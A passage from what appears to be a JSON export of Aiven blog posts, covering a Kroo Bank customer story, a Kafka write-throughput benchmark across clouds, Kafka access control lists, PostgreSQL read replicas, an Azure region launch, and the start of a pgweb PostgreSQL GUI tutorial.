the right decisions around default settings and configurations. “Configuration options can exceed 300 settings,” he rightly notes. “It's pretty cool that we can just rely on defaults, and it will work.”\n\n## A multi-cloud journey\nAnother topic we discussed was the need for a multi-cloud infrastructure. It’s increasingly becoming a regulator requirement in some industries — and an important part of many business continuity plans.\n\nCurrently, Kroo’s main provider is AWS, and most of its workloads are also on AWS. Its setup is pretty simple. It has a single region with multiple availability zones, which is fairly standard for startups and small companies.\n\nBut Kroo is now on the way to adopting multi-cloud provisioning. It has started using Google Cloud for some workloads, like BigQuery, and uses Vertex AI for some products. “Being a fintech and operating as a licensed bank means we’re in a heavily regulated environment,” says Fadeev. “So we have to think about disaster recovery — not just because it’s the right thing to do, but to ensure that regulators are satisfied with our approach.”\n\n“Currently, we are focused on being able to roll our services out to different regions. We have a structure for our databases, so we keep backups available in multiple regions. That allows us to quickly spin up database replicas in a different region,” Fadeev says.\n\nIt’s a familiar multi-cloud journey among our customers. Fortunately, the ability to clone or move an Aiven service from one region to another in the same cloud is broadly the same as moving it to a different cloud, with everything being persisted without downtime.\n\n## Value of open source\n![Kroo Bank - Andrey's quote](https://storage.pardot.com/890043/1733384227chzLAnIb/KrooSocialCard.png)\n\nLastly, Fadeev also highlighted the crucial role of open source in Kroo's success, emphasizing how it drives cost efficiency and enhances business value. A key factor in Kroo's decision to partner with Aiven was the ability to maintain close alignment with the open-source Kafka ecosystem.\n\nHaving access to the Kafka community and ecosystem is a significant asset for growing businesses. It gives them access to technologies that accelerate growth without being locked into a single vendor.\n\n“We were looking for ways to eliminate the headache of maintenance and version upgrades,” says Fadeev. “What we have out-of-the-box is pretty standard and close to the open-source version of Kafka. It’s one reason why Aiven has worked really well for us.”\n\n“For example, Kroo has around 70 or 80 connectors, essentially the number of services with their own databases that need to publish events to Kafka. It's quite a high number,” Fadeev says. “But we know the load isn’t too high, so we can fit all those connectors into a relatively small Kafka Connect deployment.”\n\n## Unlocking cost-efficiencies with tiered storage \nSo what’s next for Fadeev and for Kroo? What’s the next evolution of its architecture and infrastructure?\n\nFadeev is excited to explore tiered storage for Kafka from Aiven which allows users to offload to cheaper storage for larger queues. “Currently, we have a fairly restrictive retention policy set to around two weeks or maybe a month for some topics. If we can increase that retention for specific topics, especially to an infinite retention policy, it would help optimize costs significantly.”\n\nAnother focus will be on streaming and streaming applications. With Kafka in place, mainly for asynchronous communication between microservices, there’s an untapped opportunity to use it for real-time data streaming and data pipelines.\n\n## Enabling data scientists\nKroo also wants to open up its data platform to more of its data teams, particularly those in data science, so they can build more real-time applications. “We’re currently using Vertex AI for some tasks, like automatic alert closure, which has significantly reduced the operational team's workload by handling many false positives,” Fadeev says.\n\n“We expose only the bits of data they need, rather than opening the entire Kafka cluster. Right now, the microservices control the data, using Kafka as a bus to communicate. We need to ensure that the data is in the right shape and that its quality is maintained.”\n\nIt’s a challenge that many companies face when exposing data across their organization. But it is one that I am sure Fadeev, and the wider team at Kroo, will overcome. I am very much looking forward to seeing what they accomplish next. \n","categories":[{"_key":"ecb39572c79b","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"66a5c449a9b6","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9d7b21d9bdfc","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"97e3f99b-6840-4d42-9e75-f774e767baee","_type":"reference"},"previewImage":{"_type":"mainImage","asset":{"_ref":"image-316b332fdd52d1fe67609a076cf845e066694647-1200x628-png","_type":"reference"}},"tags":[{"_key":"22eaaab194c1","_ref":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_type":"tag"},{"_key":"4ca0b7f3bf95","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"b61140c15d1c","_ref":"7f1cc870-dac8-4021-b5e0-0067d7aa5d95","_type":"tag"}]},"mainImage":{"_type":"mainImage","asset":{"_ref":"image-316b332fdd52d1fe67609a076cf845e066694647-1200x628-png","_type":"reference"}},"publishedAt":"2024-12-05T08:00:53.118Z","slug":{"_type":"slug","current":"/blog/how-data-stack-modernization-is-helping-kroo-bank"},"subtitle":"The UK’s fintech market is crowded, but Kroo Bank is making waves as one of the top four digital-only banks. I recently spoke to Andrey Fadeev, Staff Software Engineer at Kroo Bank, who shared his insights on how Kroo is leveraging data stack modernization to support growth and drive competitive edge.","title":"How Data Stack Modernization is Helping Kroo Bank Secure its Challenger Status"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"28ANz15FwDeg2Ggr5LcGTU","_rev":"ZgPiUE9lJ1tcRKuFnZXCqn","_type":"post","_updatedAt":"2024-07-11T09:17:48Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"We have offered a fully managed Kafka service for some time now, and we are quite often asked about just how many messages can you pipe through a given service plan tier on a selected cloud. So here's a benchmark we conducted to give you a rough idea on just how well Apache Kafka performs in the public cloud.\n\nThis is the first post in a series that explores Kafka performance on multiple public cloud providers.\n\n## What is Kafka?\n\nApache Kafka is a _high-performance open-source stream processing platform_ for collecting and processing large numbers of messages in real-time. It enables you to accept streaming data such as website click streams, events, transactions or other telemetry in real-time and at scale, and serve it downstream to stream processing applications.\n\nKafka is built distributed for both scalability as well as fault tolerance. Adding more horizontal nodes to tackle growing loads is fairly straightforward and automatic replication of the data over more than one node maintains availability when nodes fail.\n\nThe basic concepts in Kafka are **producers** and **consumers**.\n\nA **producer** is an application that generates data but only to provide it to some other application.\n\nAn example of a **producer** application could be a web server that produces \"page hits\" that tell when a web page was accessed, from which IP address, what the page was and how long it took to render the page by the web server.\n\nOn the **consumer** side there could be multiple systems interested in the same page hit data stream:\n\n*   A time series database that is used to plot the total number of page hits over time\n*   A reporting application collecting summaries of the pages accessed and sending them to a data warehouse database system\n*   A DDoS detection system trying to find abnormal access patterns\n*   A rate limiting monitor counting the number of hits from a specific source address\n*   And so on...\n\nKafka suits these kinds of applications very well: it provides a method of getting the data out of the hands of the producing application quickly and safely. Once the producer has written the message to Kafka, it can be sure that its part of the job is done. The producer application does not need to know how the data is used and by which applications, it just stores it in Kafka and moves on.\n\nOn the consumer side a powerful feature of Kafka is that it allows multiple consumers to read the same messages. In our web page hit example above, each of the consumer applications get their own read cursor to the data and they can process the messages at their own pace, all without causing any performance issues or delays for the producer application.\n\nHere's what it roughly looks like:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/5d9c70e99f5efc219f79ea2611b5dd31215e5928-400x300.png)\n\nThe Zookeeper cluster is a critical piece in keeping Kafka healthy and up and running. It maintains Kafka's metadata and most importantly, a consensus between the Kafka nodes of who is doing what.\n\n## Aiven Kafka as a Service\n\nAiven Kafka is a a fully managed service based on the Apache Kafka technology. Our aim is to make it as easy as possible to use Kafka clusters with the least amount of operational effort possible. We handle the Kafka and Zookeeper setup and operations for you, so you can focus on value-adding application logic instead of infrastructure maintenance. Aiven Kafka services can be launched in minutes, and we'll ensure they remain operational, well performing, up-to-date and secure at all times. Nodes are automatically distributed evenly across the available availability zones in order to minimize the impact of losing any of the zones.\n\nAiven Kafka is available in **Amazon Web Services**, **Microsoft Azure**, **Google Cloud Platform**, **UpCloud** and **DigitalOcean** with a total coverage of 53 cloud regions. In this performance comparison we ran the benchmark on all of these except DigitalOcean, where our Kafka offering is limited by the available plans.\n\nEach Kafka service used in these tests is a regular Aiven-provided service with no alterations to its default settings.\n\n## Benchmark Setup\n\nIn this first Kafka benchmark post, we set out to estimate maximum _write throughput rates_ for various Aiven Kafka plan tiers in different clouds. We wanted to use a typical customer message sizes and standard tools for producing load. We also wanted to generate the load from separate systems over the network to make sure the load could mimic the actual customer workloads as closely as possible.\n\nHigh-level view of the test setup, a single Aiven Kafka service with five nodes, distributed evenly over the availability zones:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/f098f2d9be5502a41756e32c173f25db95cbe963-400x300.png)\n\nWe picked message size of 512 bytes for our tests. Based on our experience, one of the most typical payloads is a JSON encoded message ranging somewhere between 100 bytes to 10 kilobytes in size.\n\nIn these tests, we use a single topic with the partition count matching the node count of each Aiven plan tier. For more complex topic/partition setups Aiven actively balances the placement of the partitions, trying to achieve a \"perfect\" distribution of partitions. In the case of this test there is just a single partition for each node, so this is rather simple. We set the replication factor to one (1) in the case of this test, meaning each of the messages only resides on a single Kafka node.\n\nApache Kafka version used was 0.10.1.1.\n\nFor load generation, we chose to use [librdkafka](https://github.com/edenhill/librdkafka) and [rdkafka_performance](https://github.com/edenhill/librdkafka/blob/master/examples/rdkafka_performance.c) from the provided examples. We are using default settings for the most part, but bumped up single request timeout to 60 seconds as we expect the Kafka brokers to be under extreme load and request processing to take longer than under a normal healthy load level. Also, since Aiven Kafka services are offered only over encrypted TLS connections, we included the configuration for these, namely the required certificates and keys.\n\nlibrdkafka defaults to a maximum batch size of 10000 messages or to a maximun request size of one million bytes per request, whichever is met first. In these tests, we did not employ compression.\n\nproducer.props configuration:\n\n```\n  metadata.broker.list=target-kafka.benchmark.aivencloud.com:10947\n  security.protocol=ssl\n  ssl.key.location=client.key\n  ssl.certificate.location=client.crt\n  ssl.ca.location=ca.crt\n  request.timeout.ms=60000\n```\n\nWe ran several instances of rdkafka_performance on multiple VMs on a different cloud provider from the one being tested. So all of the test load was coming from the internet thru the nodes' public network interfaces.\n\nWe kept increasing the number of instances until we could find the saturation point and the maximum message rates for each plan.\n\nEach rdkafka_performance instance was started on the command line with:\n\n```\nrdkafka_performance -P -s 512 -t target-topic -X file=producer.props\n```\n\n## Benchmark Results\n\nFirst set of tests was run on an Aiven Kafka Business-4 plan, which is a three node cluster and a common starting point for many of our customers. Each node in this plan has 4 gigabytes of RAM, a single CPU core and 200 gigabytes of disk on each node, providing a total 600 gigabytes of raw Kafka storage capacity in the cluster.\n\nWrite performance (3 nodes @ 4 GB RAM, 1 CPU, 200 GB disk each):\n\n![](//cdn.sanity.io/images/sczeoy4w/production/6c9a69e9ea0e36fc6c187d92d1c0fc36b8695436-400x300.png)\n\nOn UpCloud, we hit 200,000 messages per second. Azure and Google plans saturated at 120,000 and 130,000 messages per second and the Amazon deployment reached 50,000 messages per second.\n\nThe performance is pretty respectable. The performance on Amazon is a bit behind the others because of the node types available and we will be looking at ways to optimize that in the future. As you will see in the next graph for the test with the bigger plan, the AWS performance is already more in line with the other providers.\n\nNext, we tested three node clusters but with larger underlying instances using the Business-8 plan. This plan has nodes with 8 gigabytes of RAM, two CPU cores and 400 gigabytes of disk per node, i.e. all the primary resources are doubled when compared to the Business-4 plan. This test indicates how well Kafka scales vertically with increased resources.\n\nWrite performance (3 nodes @ 8 GB RAM, 2 CPU, 400 GB disk each):\n\n![](//cdn.sanity.io/images/sczeoy4w/production/87eb128e6af0e08eca0f231b8b39a2d7e93f950b-400x300.png)\n\nWe see a nice increase in performance, with 320,000 messages per second on UpCloud, 205,000 on Azure, 170,000 on Google and 160,000 messages per second on AWS.\n\nIn the last test, we wanted to verify how well Kafka scales horizontally. With this test, we went from the Business plan tier to the Premium tier, which bumps the node count from three to five, while keeping the node specs otherwise identical. Also the test setup was updated to utilize a partition count of five (vs. three) for this test.\n\nWrite performance (5 nodes @ 8 GB RAM, 2 CPU, 400 GB disk each):\n\n![](//cdn.sanity.io/images/sczeoy4w/production/1acdea0ec6591e590a49724fdac8a0bb2fd7c25f-400x300.png)\n\nThe results here are solid for Kafka: a two-thirds increase in the number of nodes resulted in a straight 2/3 increase in write performance. Awesome!\n\nAiven Kafka Premium-8 on UpCloud handled 535,000 messages per second, Azure 400,000, Google 330,000 and Amazon 280,000 messages / second.\n\n## Benchmark Conclusions\n\nApache Kafka performs just as well as we expected and scales nicely with added resources and increased cluster size. We welcome you to benchmark your own workloads with Aiven and to share your results.\n\nWe utilize Kafka as a message broker within Aiven as well as use it as a medium for piping all of our telemetry metrics and logs. We are happy with with our technical choice, and can recommend Apache Kafka for handling all kinds of streaming data.\n\nFind out more about Aiven Kafka at [aiven.io/kafka](https://aiven.io/kafka).\n\n## Further reading\n\n- [Kafka v. RabbitMQ - a comparison](https://aiven.io/blog/kafka-v-rabbitmq-a-comparison)\n","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2017-03-30T18:03:00.001Z","seo":{"metaDescription":"Read our popular post that reviews Apache Kafka's raw write throughput performance in AWS, Azure, Google, and UpCloud.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"Benchmarking Apache Kafka Performance Part 1: Write Throughput"},"slug":{"_type":"slug","current":"/blog/benchmarking-kafka-write-throughput"},"subtitle":"Read our popular post that reviews Apache Kafka's raw write throughput performance in AWS, Azure, Google, and UpCloud.","title":"Benchmarking Apache Kafka Performance Part 1: Write Throughput"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5B5i1J33DaNFC1hstMMocV","_rev":"aqN8LslQ3cZYmtCXIvOzGx","_type":"post","_updatedAt":"2024-02-09T09:47:14Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"We're happy to announce user and topic level access controls for Aiven for Apache Kafka service. You can now create multiple users with separate access credentials each, and control produce and consumer privileges on user and topic basis.\n\nBoth users and access control lists can be managed on the Aiven Console under the Users tab on the service details page.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/1eb22c3987ed9c604adc3f04f0873b0badaa2274-400x275.png)\n\n### Managing users\n\nAll users and the user specific access certificate and key are listed and available on the Users tab. The password is usable with Kafka REST service.\n\nYou can add users with the Add service user... button or remove existing users with Remove...\n\nReset password... button on the right both resets Kafka REST password as well as revokes and recreates access key and certificate for the specific user.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/5d48aeb9a8e05fc4aadc6d0f0ed3d81a84f48b51-400x275.png)\n\n### Managing Access Control Lists\n\nAccess Control Lists manage user privileges to consume from or produce to a topic. \n\n![](//cdn.sanity.io/images/sczeoy4w/production/b2c23223d4516c0ec8d7fe9250bea3132f01c0fd-400x275.png)\n\nUsers can either be explicit users, or user masks with wildcard characters * and ?. Star matches a string of characters, question mark matches any single character in it's place.\n\nSimilarly, topics can be specified as explicit topics as well as wildcard matches.\n\nGrants can be either Produce, Consume or Full Access for both.\n\nBy default, the access is allowed for all configured users to both produce and consume on all topics. You can delete ACL entries on row by row basis.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/eddf87545a9d50123f00dc73f5703fa67c7d9662-400x275.png)\n\n### Give Aiven services a whirl\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans. The offer works for all of our services: PostgreSQL, Redis, Grafana, OpenSearch and Kafka!\n\nGo to [aiven.io](https://aiven.io/) to get started!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2017-08-23T09:17:00.000Z","seo":{"metaDescription":"Aiven for Apache Kafka now provides user and topic-level control. Find out how this feature will help you manage users and access more effectively.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Kafka users and access control"},"slug":{"_type":"slug","current":"/blog/kafka-users-and-access-control"},"subtitle":"Aiven for Apache Kafka now provides user and topic-level control. Find out how this feature will help you manage users and access more effectively.","title":"Kafka users and access control"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5kevmFm6Oud24SY5v3nMZf","_rev":"E7yqJcdu3p6SmgvthW9jro","_type":"post","_updatedAt":"2023-12-12T13:43:25Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We are happy to announce that we have enabled read-only replica access to all of our PostgreSQL plans that have one or more standby nodes. Utilizing the standby server nodes for read-only queries allows you to scale your database reads by moving some of the load away from the master server node to the otherwise mostly idle replica nodes.\n\n### What are master and standby nodes?\n\nPostgreSQL **master** node is the primary server node that processes SQL queries, makes the necessary changes to the database files on the disk and returns back the results to the client application.\n\nPostgreSQL **standby** nodes replicate (which is why they are also called \"**replicas**\") the changes from the master node and try to maintain an up-to-date copy of the same database files that exists on the master.\n\nStandby nodes are useful for multiple reasons:\n\n*   Having another physical copy of the data in case of hardware/software/network failures\n*   Having a standby node typically reduces the data loss window in disaster scenarios\n*   Restoring the database back to operation is quick by a controlled failover in case of failures, as the standby is already installed, running and in-sync with the data\n*   Standby nodes can be used for read-only queries to reduce the load on the master server\n\n### What is the difference between having 0, 1 or even 2 standby nodes?\n\nAiven offers PostgreSQL plans with different number of standby server nodes in each:\n\n*   **Hobbyist** and **Startup** plans have just a single master node and _no standby nodes_\n*   **Business** plans have one master node and _one standby node_\n*   **Premium** plans have one master node and _two standby nodes_\n\nThe difference between the plans is primary the behavior during failure scenarios. The are many bad things that can happen to cloud servers (or any server in general): hardware failures, disk system crashes, network failures, power failures, software errors, running our of memory, operator mistakes, fires, floods and so on.\n\nSingle node plans are **most prone to data loss during failures**. For example, if the server power suddenly goes out, some of the latest database changes may not have made it out from the server into backups. The size of the data loss window is dependent on the backup method used.\n\nSingle node plans are also the **slowest to recover** back to operation from failures. When the server virtual machine fails, it takes time to launch a new virtual machine and to restore it from the backups. The restore time can be anything from a couple of minutes to several hours, the primary factor in it being the size of the database that needs to be restored.\n\nAdding a **\"hot\" standby node** helps with both of the above issues: the data loss window can be much smaller as the master is streaming out the data changes in real-time to the standby as they happen. The \"lag\" between the master and standby is typically very low, from tens of bytes to hundreds of bytes of data.\n\nAlso recovery from failure is much faster as the standby node is already up and running and just waiting to get the signal to get promoted as the master, so that it can replace the old failed master.\n\nWhat about having two standby nodes? What is the point in that?\n\nThe added value of having a second standby node is that even during recovery from (single-node) failures, there are always two copies of the data on two different nodes. If another failure strikes after a failover when there is just a single master node running, we again risk losing some of the latest changes written to the database. It takes time to rebuild a new standby node and getting it in sync node after a failover when there is a lot of data in the database, and it often makes sense to protect the data over this time period by having another replica. This is especially important when the database size is large and recreating a replacement node for the faulted one can take hours.\n\n### Using standby nodes for read-only queries\n\nStandby nodes are also useful for distributing the load away from the master server. In Aiven the replica nodes can be accessed by using the separate \"Read-only replica URL\" visible in the Aiven web console:\n\n![pg-v13-read-replica-console-screenshot](//cdn.sanity.io/images/sczeoy4w/production/cabc163e1444f6ec699048466e08172471a93e35-2892x2178.png)\n\nUsing the replica URL in a database client application will connect to one of the available replica server nodes. Previously replica node access was only available in our Premium plans (master + two standbys) and now we have enabled it in our Business plans (master + one standby) as well.\n\nSo if you have had high CPU usage on the master node of your Startup plan, it may be worthwhile looking into the possibility of increasing your read throughput by using the replica servers for reads. Of course in addition by using a Business plan you'll also make the service have better high availability characteristics by having a standby to fail over to.\n\nA good thing to note is that since the PostgreSQL replication used in Aiven PostgreSQL is asynchronous there is a small replication lag involved. What this means in practice is that if you do an INSERT on the master it takes a while (usually much less than a second) for the change to be propagated to the standby and to visible there.\n\n### Replica Usage\n\nTo start using your read-replica find its database URL and after that you can connect to it by copying the Read-only replica URL:\n\n```\n$ psql postgres://avnadmin:foo@replica.demopg.demoprj.aivencloud.com:10546/defaultdb?sslmode=require\npsql (9.6.1, server 9.6.1)\nSSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-\nAES256-GCM-SHA384, bits: 256, compression: off) Type\n\"help\" for help.\n\ndefaultdb=\u003e\n```\n\nAfter which you can run any read-only query without slowing down the master.\n\nAlso while connected, PostgreSQL can tell you whether you're connected to either a master or standby node. To check that out you can run:\n\n```\ndefaultdb=\u003e SELECT * FROM pg_is_in_recovery();\npg_is_in_recovery\n----------------------\nt\n(1 row)\n```\n\nIf it returns `TRUE` you're connected to the replica, if it returns `FALSE` you're connected to the master server.\n\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading \n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-12-28T19:24:00.000Z","seo":{"metaDescription":"PostgreSQL read-only replicas increase read throughput and take some load off of your master node. We go into great detail in this latest post, check it out.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® read-only replicas"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-read-only-replicas"},"subtitle":"PostgreSQL read-only replicas increase read throughput and take some load off of your master node. We go into great detail in this latest post, check it out.","title":"Aiven for PostgreSQL® read-only replicas"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"XoaoK7MK66lzOVNjY9MlL","_rev":"neae7oL4y1FotDvvR2O1Bu","_type":"post","_updatedAt":"2024-07-09T14:01:41Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We are proud to announce that Aiven is now available in the **Microsoft Azure** cloud!\n\nThe services available initially at launch in Microsoft Azure are [Aiven for PostgreSQL](/postgresql), [Aiven for Caching](/redis), [Aiven for OpenSearch](/opensearch), [Aiven for Apache Kafka](/kafka), [Aiven for InfluxDB](/influxdb) and [Aiven for Grafana](/grafana).\n\nMicrosoft Azure is a leading global cloud provider and what makes them special is their high number of data centers around the world, currently totaling 30+.\n\nAll Aiven services will be available in all generally available Azure regions, bringing nineteen new cloud regions to Aiven and setting the total number of supported data centers to 47, making us the cloud database provider with the widest geographic availability in the world!\n\nThe first batch of new cloud regions _immediately available_ are from Azure North America and Europe. Azure Asia and South America regions will follow soon and will be available in the upcoming weeks.\n\nHere's an updated world map showing our supported data center locations. The new Azure regions are the light blue ones:\n\n[![](//cdn.sanity.io/images/sczeoy4w/production/153ec55eabaace9a3bd334a92f861ab6fa3a0fde-640x234.png)](/)\n\nMicrosoft Azure provides numerous services from computing resources to higher level services like machine learning. See [azure.microsoft.com](https://azure.microsoft.com/) for more information about their services.\n\nThe new Aiven regions that are immediately available are:\n\n*   United States\n\n*   Iowa - Azure: Central US\n\n*   Virginia - Azure: East US\n\n*   Virginia - Azure: East US 2\n\n*   Illinois - Azure: North Central US\n\n*   Texas - Azure: South Central US\n\n*   California - Azure: West US\n\n*   Washington - Azure: West US 2\n\n*   Wyoming - Azure: West Central US\n\n*   Canada\n\n*   Ontario - Azure: Canada Central\n*   Quebec - Azure: Canada East\n\n*   Europe\n\n*   Ireland - Azure: North Europe\n\n*   Netherlands - Azure: West Europe\n\n*   England - Azure: UK South\n\n*   Wales - Azure: UK West\n\n*   Asia\n\n*   Hong Kong - Azure: East Asia (available in the coming weeks)\n\n*   Singapore - Azure: Southeast Asia (available in the coming weeks)\n\n*   Tokyo, Japan - Azure: Japan East (available in the coming weeks)\n\n*   Osaka, Japan - Azure: Japan West (available in the coming weeks)\n\n*   South America\n\n*   Brazil - Azure: Brazil South (available in the coming weeks)\n\nNew services can be launched in these regions today and using the Aiven zero-downtime migration, it is also possible to easily migrate existing services to Azure!\n\nAll of the Aiven services offer worry-free fully automated DBaaS hosting, including offsite backups, automatic failure recovery and hardened security.\n\nWe will continue to expand our Database-as-a-Service offering in both cloud and region support and by adding more services. We are always looking for feedback on what to improve so feel free to let us know if you have ideas on what you'd love to see us support next.\n\nGo to [aiven.io](https://aiven.io/) to get started! **Free $10 credits** at registration, **no credit card** required. Services are billed by the hour.\n\nLast but not least, we would like to thank all of our customers who participated in our beta testing phase!\n\n\n## Further reading\n\n- [PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud](https://aiven.io/blog/postgresql-cloud-performance)\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-09-15T12:55:00.000Z","seo":{"metaDescription":"Microsoft Azure is positioning itself as a contender to AWS, which is why we’re offering all Aiven services on it. Find out which regions we’re starting with.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven brings easy, powerful hosted databases to Microsoft Azure"},"slug":{"_type":"slug","current":"/blog/aiven-cloud-database-azure"},"subtitle":"Microsoft Azure is positioning itself as a contender to AWS, which is why we’re offering all Aiven services on it. Find out which regions we’re starting with.","title":"Aiven brings easy, powerful hosted databases to Microsoft Azure"}
{"__i18n_lang":"en","_createdAt":"2022-09-08T16:32:29Z","_id":"23ABpyOMonRUmxvigZqf7F","_rev":"lhvtNBOlLYH5KiQFQ8YWWv","_type":"post","_updatedAt":"2024-01-29T15:40:42Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Why do humans build software? The answer is deceptively simple - to move data. While our applications process data, they are not the only places data resides. And when it comes to handling and visualizing that data, PostgreSQL® and command-line tools might be great, but they are also daunting. In this blog, I will discuss the need for Graphical User Interface (GUI) tools for databases and go over an open-source tool, [pgweb](https://sosedoff.github.io/pgweb/), to help solve a DVD mystery, and we might visualize some PostgreSQL data in the process.   \n\n### GUI - not just for applications\n\nBefore we start using the tool, it's important to note: a database GUI tool is not a replacement for a command-line tool. However, a GUI tool allows you to connect to the application or database quickly and easily. Here are the three use cases where a database GUI tool would complement the command-line options:\n\n1. Cut the learning curve: Whether connecting to a database or running queries on tables, a GUI tool shows intuitive ways to perform the task. For example, here is the documented way to connect to a PostgreSQL database using the command line:\n\n   ```shell\n   psql 'postgres://avnadmin:PASSWORD@demo-pg-dev-advocates.aivencloud.com:13039/defaultdb?sslmode=require'\n   ```\n\n   A new user might not know how to assemble all the information in that command, and whether to use quotes or not.\n\n   Here is an example from a GUI tool:\n\n   ![pgweb connection page](//cdn.sanity.io/images/sczeoy4w/production/352048832db48231b633fc0de4e31c22a35f9202-1228x1056.png)\n\n   The user has explicit places to enter host, port, username, password and database name, and can then click **Connect**.\n\n2. Increase productivity: If your day-to-day tasks include switching between multiple databases and looking at some tables, you can do this faster from the clicks of a mouse than executing commands. The GUI tool would display various databases, tables, and schemas as folder or file hierarchies, allowing for faster navigation. \n\n3. Additional options: While these features vary from tool to tool, some database GUI tools allow full text search, performance tuning on queries, a complete history of SQL commands, etc.\n\nWith that out of the way, let's focus on the DVD mystery we have to solve as a team. Crab Rental is a fictitious DVD rental store that exists in a parallel world where Netflix doesn't exist yet. Crab Rental is facing some challenges around inventory and IT security. The management hired and tasked you with these challenges:\n\n1. Due to a glitch in the system, some customers are not returning their DVDs. Let's find the glitch.\n2. Customer satisfaction is dropping. Is the film inventory reflecting customer demand?\n3. A lot of people have access to the Crab Rental database. Let's find a way to get details on the requests being made to this database.\n\n### Pgweb - a cross-platform open-source tool for PostgreSQL\n\nSince management doesn’t know SQL, you choose [pgweb](https://sosedoff.github.io/pgweb/) to provide a low-code access to the data that can run on a browser. Pgweb is a free and open-source tool written in GoLang.\n\nIf you don't have a PostgreSQL server ready, you can [sign-up with Aiven](https://console.aiven.io/signup) and deploy one using the available free credits.\n\nFollow the [installation steps](https://github.com/sosedoff/pgweb#installation) to install pgweb on your machine.\n\n\u003e **Note** This blog uses pgweb version 0.11.11. Some features and appearances might differ in future versions. \n\n#### Connect to the database\n\nYou have multiple options to start the pgweb server and connect to the PostgreSQL server. You can start the server in one of these ways:\n\n1. Start the server and enter the database connection information manually.\n\n   ```shell\n   pgweb\n   ```\n\n2. Start the server by providing connection flags:\n\n   ```shell\n   pgweb --host $HOSTNAME --user $USERNAME --db $DBNAME\n   ```\n\n3. Using a connection URI to start the server:\n\n   ```shell\n   pgweb --url postgres://$USERNAME:$PASSWORD@$HOSTNAME:$PORTNUM/$DBNAME?sslmode=[mode]\n   ```\n\nIf you're using [Aiven for 